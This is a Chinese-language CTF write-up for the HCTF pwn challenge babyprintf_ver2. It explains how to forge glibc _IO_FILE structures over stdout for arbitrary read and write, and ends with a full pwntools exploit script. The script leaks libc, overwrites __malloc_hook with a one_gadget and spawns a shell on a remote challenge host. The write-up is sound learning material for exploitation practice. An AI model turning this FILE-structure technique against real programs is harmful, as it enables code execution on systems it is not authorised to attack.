ctf|hctf[pwn]babyprintf_ver2

0x01程序分析
程序给出了data段的地址,然后允许向这个地址处输入0x1ff个字节。
ctf|hctf[pwn]babyprintf_ver2
文章图片

这个data段到底存的是什么呢?

pwndbg> print $rbx + $rax $1 = 0x555555756011 pwndbg> x /50xg 0x555555756011 0x555555756011: 0x7200676664647364 0x200000000000646c 0x555555756021 : 0x0000007ffff7dd26 0x0000000000000000 0x555555756031: 0x0000000000000000 0x0000000000000000

pwndbg> x /10s 0x555555756011 0x555555756011: "dsddfg" 0x555555756018: "rld" 0x55555575601c: "" 0x55555575601d: "" 0x55555575601e: "" 0x55555575601f: "" 0x555555756020 : " &\335\367\377\177" 0x555555756027 : ""

输入数据下面存放的是stdout的地址,
可以伪造vtable劫持程序执行流。
printf有个格式化漏洞,但是这玩意好像不能用,只能用来得到程序运行时候的地址
0x02leak
没有system函数,首先需要leak。
通过覆盖stdout来伪造_IO_FILE_plus结构。
def leak(where): p = 'A' * 16 p += p64(buf + 32) p += p64(0) p += pack_file(_flags = 0xfbad2887, _IO_read_end = where, _IO_write_base = where, _IO_write_ptr = where + 8, _fileno = 1, _lock = buf + 0x100) s.sendline(p) s.recvline() return u64(s.recv(8))

需要修改当前读的指针,输出开始的地址,当前输出的地址(这个也是不可少的),fileno=1表示输出流,lock不清楚ennnnnn
下面是file结构
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note:Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; //这个就是linux内核中文件描述符fd #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small.*/ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /*char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; //IO函数跳转表 };

【ctf|hctf[pwn]babyprintf_ver2】总之上面那一套可以用来作为file结构伪造任意读的套路
需要一个缓冲区的输出,需要对stdout可写。
0x03写入
def write(what, where): while what: p = 'A' * 16 p += p64(buf + 32) p += p64(0) p += pack_file(_flags = 0xfbad2887, _IO_read_end = buf, _IO_buf_base = where, _fileno = 1, _lock = buf + 0x100) s.sendline(p) s.sendline(chr(what & 0xff)) where += 1 s.recv() what >>= 8

_IO_read_end表示获取输入的结束地址
_IO_buf_base表示备用地址的开始
下面仅仅是我的猜测ennnnnn(以后学会了再填上这个坑吧):检测到程序获取输入结束的地址是输入地址,缓冲区内存不足,重新获取输入存放到备用的空间中造成任意写。(好牵强)
不过这个套路很实用,每次写一个字节也很稳定。
用这个需要一个printf好多输入,对stdout可以伪造。
自己没本事写出来贴上别人的脚本吧
先leak,向_hook_malloc地址处写入onegadget,让程序崩溃调用malloc
from pwn import * context.log_level="debug" local = True# Credits: https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/ def pack_file(_flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0, _IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0, _IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _IO_marker = 0, _IO_chain = 0, _fileno = 0, _lock = 0): struct = p32(_flags) + \ p32(0) + \ p64(_IO_read_ptr) + \ p64(_IO_read_end) + \ p64(_IO_read_base) + \ p64(_IO_write_base) + \ p64(_IO_write_ptr) + \ p64(_IO_write_end) + \ p64(_IO_buf_base) + \ p64(_IO_buf_end) + \ p64(_IO_save_base) + \ p64(_IO_backup_base) + \ p64(_IO_save_end) + \ p64(_IO_marker) + \ p64(_IO_chain) + \ p32(_fileno) struct = struct.ljust(0x88, "\x00") struct += p64(_lock) struct = struct.ljust(0xd8, "\x00") return structdef write(what, where): while what: p = 'A' * 16 p += p64(buf + 32) p += p64(0) p += pack_file(_flags = 0xfbad2887, _IO_read_end = buf, _IO_buf_base = where, _fileno = 1, _lock = buf + 0x100) s.sendline(p) s.sendline(chr(what & 0xff)) where += 1 s.recv() raw_input() what >>= 8def leak(where): p = 'A' * 16 p += p64(buf + 32) p += p64(0) p += pack_file(_flags = 0xfbad2887, _IO_read_end = where, _IO_write_base = where, _IO_write_ptr = where + 8, _fileno = 1, _lock = buf + 0x100) s.sendline(p) s.recvline() return u64(s.recv(8))if local: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') ONE_SHOT = 0x4526As = process('./babyprintf_ver2') else: libc = ELF('./libc64.so') ONE_SHOT = 0x4F322s = remote('150.109.44.250', 20005) s.sendline('IDEp7goBeitrNz1gO8MgiKWiOSgiiC4W')s.recvuntil('0x') buf = int(s.recv(12), 16)print 'buf @ ' + hex(buf)s.recvuntil('Have fun!\n')libc_base = leak(buf + 0xf8) - libc.symbols['_IO_file_jumps']gdb.attach(s)malloc_hook = libc_base + libc.symbols['__malloc_hook'] one_shot = libc_base + ONE_SHOTprint 'libc @ ' + hex(libc_base)write(one_shot, malloc_hook)s.sendline('%66000c') s.recvuntil('\x7f')s.interactive()

    推荐阅读